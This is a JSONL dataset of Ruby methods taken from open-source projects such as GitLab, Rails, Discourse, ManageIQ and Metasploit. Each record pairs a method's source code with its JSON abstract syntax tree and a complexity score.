{"repo_name":"mastodon","file_path":"./repos/mastodon/app/services/notify_service.rb","start_line":275,"raw_source":"def direct_message?\n    @notification.type == :mention && @notification.target_status.direct_visibility?\n  end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"direct_message?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@notification\"]},\"type\"]},\"==\",{\"type\":\"sym\",\"children\":[\"mention\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@notification\"]},\"target_status\"]},\"direct_visibility?\"]}]}]}","id":"3fc92770-47f5-4fe5-8219-dd41b092ae1b"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/task_helpers/imports/policy_sets.rb","start_line":22,"raw_source":"def import_policysets(policysets)\n        MiqPolicySet.transaction do\n          policysets.each do |policyset|\n            MiqPolicySet.import_from_hash(policyset['MiqPolicySet'], :save => true)\n          end\n        end\n      end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"import_policysets\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"policysets\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqPolicySet\"]},\"transaction\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"policysets\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"policyset\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqPolicySet\"]},\"import_from_hash\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"policyset\"]},\"[]\",{\"type\":\"str\",\"children\":[\"MiqPolicySet\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"save\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]}","id":"c91d565f-0335-4ab9-93ce-8eb5c966a770"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/migration_helpers/convert_to_bigint.rb","start_line":91,"raw_source":"def create_bigint_options(index_options, int_index_name, int_column_name, bigint_column_name)\n          index_options[:name] = bigint_index_name(int_index_name)\n          index_options[:where]&.gsub!(/\\b#{int_column_name}\\b/, bigint_column_name)\n\n          # ordering on multiple columns will return a Hash instead of string\n          index_options[:order] =\n            if index_options[:order].is_a?(Hash)\n              index_options[:order].to_h do |column, order|\n                column = bigint_column_name if column == int_column_name\n                [column, order]\n              end\n            else\n              index_options[:order]&.gsub(/\\b#{int_column_name}\\b/, bigint_column_name)\n            end\n\n          index_options.select { |_, v| v.present? }\n        end","complexity_score":21.6,"ast_json":"{\"type\":\"def\",\"children\":[\"create_bigint_options\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"index_options\"]},{\"type\":\"arg\",\"children\":[\"int_index_name\"]},{\"type\":\"arg\",\"children\":[\"int_column_name\"]},{\"type\":\"arg\",\"children\":[\"bigint_column_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index_options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[null,\"bigint_index_name\",{\"type\":\"lvar\",\"children\":[\"int_index_name\"]}]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index_options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"where\"]}]},\"gsub!\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\b\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"int_column_name\"]}]},{\"type\":\"str\",\"children\":[\"\\\\b\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"bigint_column_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index_options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"order\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index_options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"order\"]}]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Hash\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index_options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"order\"]}]},\"to_h\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"column\"]},{\"type\":\"arg\",\"children\":[\"order\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"int_column_name\"]}]},{\"type\":\"lvasgn\",\"children\":[\"column\",{\"type\":\"lvar\",\"children\":[\"bigint_column_name\"]}]},null]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column\"]},{\"type\":\"lvar\",\"children\":[\"order\"]}]}]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index_options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"order\"]}]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\b\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"int_column_name\"]}]},{\"type\":\"str\",\"children\":[\"\\\\b\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"bigint_column_name\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index_options\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_\"]},{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"present?\"]}]}]}]}","id":"16219404-714d-4390-b26f-f3a6bcc67cd1"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/relationship.rb","start_line":21,"raw_source":"def filtered?(of_type, except_type)\n    (!of_type.empty? && !of_type.include?(resource_type)) ||\n      (!except_type.empty? && except_type.include?(resource_type))\n  end","complexity_score":15.2,"ast_json":"{\"type\":\"def\",\"children\":[\"filtered?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"of_type\"]},{\"type\":\"arg\",\"children\":[\"except_type\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"of_type\"]},\"empty?\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"of_type\"]},\"include?\",{\"type\":\"send\",\"children\":[null,\"resource_type\"]}]},\"!\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"except_type\"]},\"empty?\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"except_type\"]},\"include?\",{\"type\":\"send\",\"children\":[null,\"resource_type\"]}]}]}]}]}]}","id":"74904bd0-6a30-449d-8f71-4197b251477e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/kerberos/crypto/block_cipher_base.rb","start_line":142,"raw_source":"def rotate_right(ba, nbits)\n              nbytes, remain = (nbits / 8) % ba.length, nbits % 8\n              ba.length.times.map do |i|\n                (ba[i-nbytes] >> remain) | ((ba[i-nbytes-1] << (8-remain)) & 0xff)\n              end\n            end","complexity_score":29.83,"ast_json":"{\"type\":\"def\",\"children\":[\"rotate_right\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ba\"]},{\"type\":\"arg\",\"children\":[\"nbits\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"nbytes\"]},{\"type\":\"lvasgn\",\"children\":[\"remain\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"nbits\"]},\"/\",{\"type\":\"int\",\"children\":[8]}]}]},\"%\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ba\"]},\"length\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"nbits\"]},\"%\",{\"type\":\"int\",\"children\":[8]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ba\"]},\"length\"]},\"times\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"i\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ba\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"nbytes\"]}]}]},\">>\",{\"type\":\"lvar\",\"children\":[\"remain\"]}]}]},\"|\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ba\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"nbytes\"]}]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]},\"<<\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[8]},\"-\",{\"type\":\"lvar\",\"children\":[\"remain\"]}]}]}]}]},\"&\",{\"type\":\"int\",\"children\":[255]}]}]}]}]}]}]}","id":"b2780831-b468-40d4-a2de-7304e6ec2d5a"}
{"repo_name":"multiwoven","file_path":"./repos/multiwoven/server/app/models/connector.rb","start_line":107,"raw_source":"def icon\n    @connector_definition ||= connector_client.new.meta_data.with_indifferent_access\n    @connector_definition.dig(:data, :icon)\n  end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"icon\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@connector_definition\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connector_client\"]},\"new\"]},\"meta_data\"]},\"with_indifferent_access\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connector_definition\"]},\"dig\",{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"sym\",\"children\":[\"icon\"]}]}]}]}","id":"7b9f0494-68d6-44f6-b06d-53e4f7e6b6b9"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/user_lookup.rb","start_line":31,"raw_source":"def primary_groups\n    @primary_groups ||=\n      users\n        .values\n        .each_with_object({}) do |user, hash|\n          if user.primary_group_id\n            group = groups[user.primary_group_id]\n            set_user_group_preload(user, group, :primary_group)\n            hash[user.id] = group\n          end\n        end\n  end","complexity_score":17.3,"ast_json":"{\"type\":\"def\",\"children\":[\"primary_groups\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@primary_groups\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"users\"]},\"values\"]},\"each_with_object\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"hash\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"primary_group_id\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"group\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"groups\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"primary_group_id\"]}]}]},{\"type\":\"send\",\"children\":[null,\"set_user_group_preload\",{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"group\"]},{\"type\":\"sym\",\"children\":[\"primary_group\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"id\"]},{\"type\":\"lvar\",\"children\":[\"group\"]}]}]},null]}]}]}]}","id":"7e6e284c-5fea-4d53-9b36-3172eab3c5ce"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/config/normalizer/matrix_strategy.rb","start_line":13,"raw_source":"def build_from(job_name, initial_config)\n              config = expand(initial_config[:matrix])\n              total = config.size\n\n              config.map.with_index do |vars, index|\n                new(job_name, index.next, vars, total)\n              end\n            end","complexity_score":10.8,"ast_json":"{\"type\":\"def\",\"children\":[\"build_from\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"job_name\"]},{\"type\":\"arg\",\"children\":[\"initial_config\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"config\",{\"type\":\"send\",\"children\":[null,\"expand\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"initial_config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"matrix\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"total\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"size\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"map\"]},\"with_index\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"vars\"]},{\"type\":\"arg\",\"children\":[\"index\"]}]},{\"type\":\"send\",\"children\":[null,\"new\",{\"type\":\"lvar\",\"children\":[\"job_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index\"]},\"next\"]},{\"type\":\"lvar\",\"children\":[\"vars\"]},{\"type\":\"lvar\",\"children\":[\"total\"]}]}]}]}]}","id":"8782e7b8-b802-467c-9ef8-6a7c95175e43"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/tree_helper.rb","start_line":21,"raw_source":"def on_top_of_branch?(project = @project, ref = @ref)\n    project.repository.branch_exists?(ref)\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"on_top_of_branch?\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"project\",{\"type\":\"ivar\",\"children\":[\"@project\"]}]},{\"type\":\"optarg\",\"children\":[\"ref\",{\"type\":\"ivar\",\"children\":[\"@ref\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"repository\"]},\"branch_exists?\",{\"type\":\"lvar\",\"children\":[\"ref\"]}]}]}","id":"1331f4b9-dfb7-4d87-84ee-43cf8a6c53f1"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/flavor.rb","start_line":73,"raw_source":"def self.raw_create_flavor(_ext_management_system, _options = {})\n    raise NotImplementedError, \"raw_create_flavor must be implemented in a subclass\"\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"raw_create_flavor\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_ext_management_system\"]},{\"type\":\"optarg\",\"children\":[\"_options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"NotImplementedError\"]},{\"type\":\"str\",\"children\":[\"raw_create_flavor must be implemented in a subclass\"]}]}]}","id":"2e553068-2eae-4187-84bd-85d51225e871"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/controllers/public/api/v1/portals/base_controller.rb","start_line":31,"raw_source":"def switch_locale_with_portal(&)\n    @locale = validate_and_get_locale(params[:locale])\n\n    I18n.with_locale(@locale, &)\n  end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"switch_locale_with_portal\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[null]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@locale\",{\"type\":\"send\",\"children\":[null,\"validate_and_get_locale\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"locale\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"with_locale\",{\"type\":\"ivar\",\"children\":[\"@locale\"]},{\"type\":\"block_pass\",\"children\":[null]}]}]}]}","id":"04de0e6c-1f46-43de-8f68-96af4769da56"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/postgresql/oid/legacy_point.rb","start_line":37,"raw_source":"def number_for_point(number)\n              number.to_s.delete_suffix(\".0\")\n            end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"number_for_point\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"number\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"number\"]},\"to_s\"]},\"delete_suffix\",{\"type\":\"str\",\"children\":[\".0\"]}]}]}","id":"21588490-b2c9-4ee7-83b0-963fc5186910"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/services/user/action/suspend_all.rb","start_line":16,"raw_source":"def suspended_users\n    users.map do |user|\n      UserSuspender.new(\n        user,\n        suspended_till: suspend_until,\n        reason: reason,\n        by_user: actor,\n        message: message,\n        post_id: post_id,\n      ).tap(&:suspend)\n    rescue => err\n      Discourse.warn_exception(err, message: \"failed to suspend user with ID #{user.id}\")\n    end\n  end","complexity_score":20.1,"ast_json":"{\"type\":\"def\",\"children\":[\"suspended_users\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"users\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserSuspender\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"suspended_till\"]},{\"type\":\"send\",\"children\":[null,\"suspend_until\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reason\"]},{\"type\":\"send\",\"children\":[null,\"reason\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"by_user\"]},{\"type\":\"send\",\"children\":[null,\"actor\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[null,\"message\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"post_id\"]},{\"type\":\"send\",\"children\":[null,\"post_id\"]}]}]}]},\"tap\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"suspend\"]}]}]},{\"type\":\"resbody\",\"children\":[null,{\"type\":\"lvasgn\",\"children\":[\"err\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"warn_exception\",{\"type\":\"lvar\",\"children\":[\"err\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"failed to suspend user with ID \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"id\"]}]}]}]}]}]}]},null]}]}]}","id":"95c5d17d-d803-4fc2-a1d3-7f06245172f8"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/sse_perform_write_test.rb","start_line":25,"raw_source":"def test_single_underlying_write_with_options_and_object_payload\n      stream = FakeStream.new\n      sse = Live::SSE.new(stream, event: \"base\", retry: 100)\n\n      sse.write({ name: \"John\" }, id: 123, event: \"override\", retry: 500)\n\n      assert_equal 1, stream.writes.size, \"Expected exactly one underlying write call\"\n      payload = stream.writes.first\n\n      assert_match(/event: override/, payload)\n      assert_match(/retry: 500/, payload)\n      assert_match(/id: 123/, payload)\n      assert_match(/data: {\"name\":\"John\"}/, payload)\n      assert_match(/\\n\\n\\z/, payload, \"Payload should terminate with a blank line per SSE spec\")\n    end","complexity_score":18.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_single_underlying_write_with_options_and_object_payload\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"stream\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FakeStream\"]},\"new\"]}]},{\"type\":\"lvasgn\",\"children\":[\"sse\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Live\"]},\"SSE\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"stream\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"event\"]},{\"type\":\"str\",\"children\":[\"base\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"retry\"]},{\"type\":\"int\",\"children\":[100]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sse\"]},\"write\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"John\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"int\",\"children\":[123]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"event\"]},{\"type\":\"str\",\"children\":[\"override\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"retry\"]},{\"type\":\"int\",\"children\":[500]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stream\"]},\"writes\"]},\"size\"]},{\"type\":\"str\",\"children\":[\"Expected exactly one underlying write call\"]}]},{\"type\":\"lvasgn\",\"children\":[\"payload\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stream\"]},\"writes\"]},\"first\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"event: override\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"payload\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"retry: 500\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"payload\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"id: 123\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"payload\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"data: {\\\"name\\\":\\\"John\\\"}\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"payload\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\n\\\\n\\\\z\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"payload\"]},{\"type\":\"str\",\"children\":[\"Payload should terminate with a blank line per SSE spec\"]}]}]}]}","id":"24be3058-8ab7-4905-9f3c-ed8f3bfd1ee1"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/filters_test.rb","start_line":742,"raw_source":"def test_before_action_rendering_breaks_actioning_chain_for_after_action\n    test_process(RenderingController)\n    assert_equal %w( before_action_rendering ), @controller.instance_variable_get(:@ran_filter)\n    assert_not @controller.instance_variable_defined?(:@ran_action)\n  end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_before_action_rendering_breaks_actioning_chain_for_after_action\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"test_process\",{\"type\":\"const\",\"children\":[null,\"RenderingController\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"before_action_rendering\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@controller\"]},\"instance_variable_get\",{\"type\":\"sym\",\"children\":[\"@ran_filter\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_not\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@controller\"]},\"instance_variable_defined?\",{\"type\":\"sym\",\"children\":[\"@ran_action\"]}]}]}]}]}","id":"3bb2a302-7597-499f-8f59-be0be6105aea"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/notification_recipients/builder/base.rb","start_line":18,"raw_source":"def filter!\n        preload_notification_settings\n        recipients.select!(&:notifiable?)\n      end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"filter!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"preload_notification_settings\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"recipients\"]},\"select!\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"notifiable?\"]}]}]}]}]}","id":"ad1fe9f3-7233-47d1-b6e3-ba970f3908c4"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20241127210044_backfill_user_details.rb","start_line":36,"raw_source":"def find_users_without_details(batch)\n    batch\n      .joins('LEFT JOIN user_details ON (users.id = user_details.user_id)')\n      .where(user_details: { user_id: nil })\n      .ids\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"find_users_without_details\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"batch\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"batch\"]},\"joins\",{\"type\":\"str\",\"children\":[\"LEFT JOIN user_details ON (users.id = user_details.user_id)\"]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_details\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}]}]},\"ids\"]}]}","id":"2959bca0-c188-45ef-b008-4fc35c8dff65"}
